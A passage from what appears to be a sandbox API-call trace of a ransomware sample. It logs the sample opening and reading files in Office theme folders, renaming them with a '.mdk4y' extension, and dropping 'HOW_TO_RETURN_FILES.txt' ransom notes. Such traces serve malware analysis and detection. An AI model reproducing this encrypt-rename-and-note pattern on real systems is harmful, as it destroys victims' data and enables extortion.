lpPerformanceCount=0x37de58*=1819160200000) returned 1 [0116.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819160200000) returned 1 [0116.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.mdk4y")) returned 1 [0116.373] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0116.373] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0116.373] AreFileApisANSI () returned 1 [0116.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0116.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0116.374] GetFileType (hFile=0x130) returned 0x1 [0116.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0116.375] AreFileApisANSI () returned 1 [0116.375] GetACP () returned 0x4e4 [0116.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLENDS", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BLENDS", lpUsedDefaultChar=0x37df4c) returned 6 [0116.375] AreFileApisANSI () returned 1 [0116.375] GetACP () returned 0x4e4 [0116.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\kŗ") returned 63 [0116.444] AreFileApisANSI () returned 1 [0116.444] GetACP () returned 0x4e4 [0116.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0116.444] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.444] AreFileApisANSI () returned 1 [0116.444] GetACP () returned 0x4e4 [0116.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0116.445] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.445] AreFileApisANSI () returned 1 [0116.445] GetACP () returned 0x4e4 [0116.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLENDS.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLENDS.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 10 [0116.445] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819167500000) returned 1 [0116.445] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10db7, lpOverlapped=0x0) returned 1 [0116.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819187200000) returned 1 [0116.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819187200000) returned 1 [0116.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.mdk4y")) returned 1 [0116.643] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.643] AreFileApisANSI () returned 1 [0116.643] GetACP () returned 0x4e4 [0116.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLENDS.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLENDS.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0116.643] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819188900000) returned 1 [0116.659] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x216, lpOverlapped=0x0) returned 1 [0116.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819189000000) returned 1 [0116.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819189000000) returned 1 [0116.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.mdk4y")) returned 1 [0116.665] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.665] AreFileApisANSI () returned 1 [0116.665] GetACP () returned 0x4e4 [0116.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0116.665] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819191700000) returned 1 [0116.687] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x885, lpOverlapped=0x0) returned 1 [0116.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819193000000) returned 1 [0116.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819193000000) returned 1 [0116.701] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.mdk4y")) returned 1 [0116.703] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.703] AreFileApisANSI () returned 1 [0116.703] GetACP () returned 0x4e4 [0116.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0116.703] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819193300000) returned 1 [0116.703] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5093, lpOverlapped=0x0) returned 1 [0116.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819198200000) returned 1 [0116.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819198200000) returned 1 [0116.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.mdk4y")) returned 1 [0116.753] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0116.753] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0116.753] AreFileApisANSI () returned 1 [0116.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0116.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0116.753] GetFileType (hFile=0x130) returned 0x1 [0116.754] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0116.754] AreFileApisANSI () returned 1 [0116.754] GetACP () returned 0x4e4 [0116.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUECALM", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BLUECALM", lpUsedDefaultChar=0x37df4c) returned 8 [0116.754] AreFileApisANSI () returned 1 [0116.754] GetACP () returned 0x4e4 [0116.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\") returned 65 [0116.755] AreFileApisANSI () returned 1 [0116.755] GetACP () returned 0x4e4 [0116.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0116.755] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.755] AreFileApisANSI () returned 1 [0116.755] GetACP () returned 0x4e4 [0116.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0116.755] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.755] AreFileApisANSI () returned 1 [0116.755] GetACP () returned 0x4e4 [0116.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUECALM.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLUECALM.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0116.755] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819198500000) returned 1 [0116.762] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc2ba, lpOverlapped=0x0) returned 1 [0116.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206300000) returned 1 [0116.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206300000) returned 1 [0116.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.mdk4y")) returned 1 [0116.835] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.835] AreFileApisANSI () returned 1 [0116.835] GetACP () returned 0x4e4 [0116.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUECALM.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLUECALM.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0116.835] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206500000) returned 1 [0116.835] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x227, lpOverlapped=0x0) returned 1 [0116.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206600000) returned 1 [0116.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206600000) returned 1 [0116.836] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.mdk4y")) returned 1 [0116.838] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.838] AreFileApisANSI () returned 1 [0116.838] GetACP () returned 0x4e4 [0116.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0116.838] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819206800000) returned 1 [0116.838] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x618, lpOverlapped=0x0) returned 1 [0116.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819208600000) returned 1 [0116.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819208600000) returned 1 [0116.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.mdk4y")) returned 1 [0116.857] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.857] AreFileApisANSI () returned 1 [0116.857] GetACP () returned 0x4e4 [0116.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0116.857] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819208800000) returned 1 [0116.858] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x80f1, lpOverlapped=0x0) returned 1 [0116.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819210700000) returned 1 [0116.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819210700000) returned 1 [0116.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.mdk4y")) returned 1 [0116.878] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0116.878] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0116.878] AreFileApisANSI () returned 1 [0116.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0116.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0116.879] GetFileType (hFile=0x130) returned 0x1 [0116.880] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0116.880] AreFileApisANSI () returned 1 [0116.880] GetACP () returned 0x4e4 [0116.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUEPRNT", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BLUEPRNT", lpUsedDefaultChar=0x37df4c) returned 8 [0116.880] AreFileApisANSI () returned 1 [0116.880] GetACP () returned 0x4e4 [0116.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\") returned 65 [0116.880] AreFileApisANSI () returned 1 [0116.880] GetACP () returned 0x4e4 [0116.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0116.880] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.881] AreFileApisANSI () returned 1 [0116.881] GetACP () returned 0x4e4 [0116.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0116.881] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.881] AreFileApisANSI () returned 1 [0116.881] GetACP () returned 0x4e4 [0116.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BLUEPRNT.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BLUEPRNT.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0116.881] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819211100000) returned 1 [0116.881] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xda86, lpOverlapped=0x0) returned 1 [0116.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819212400000) 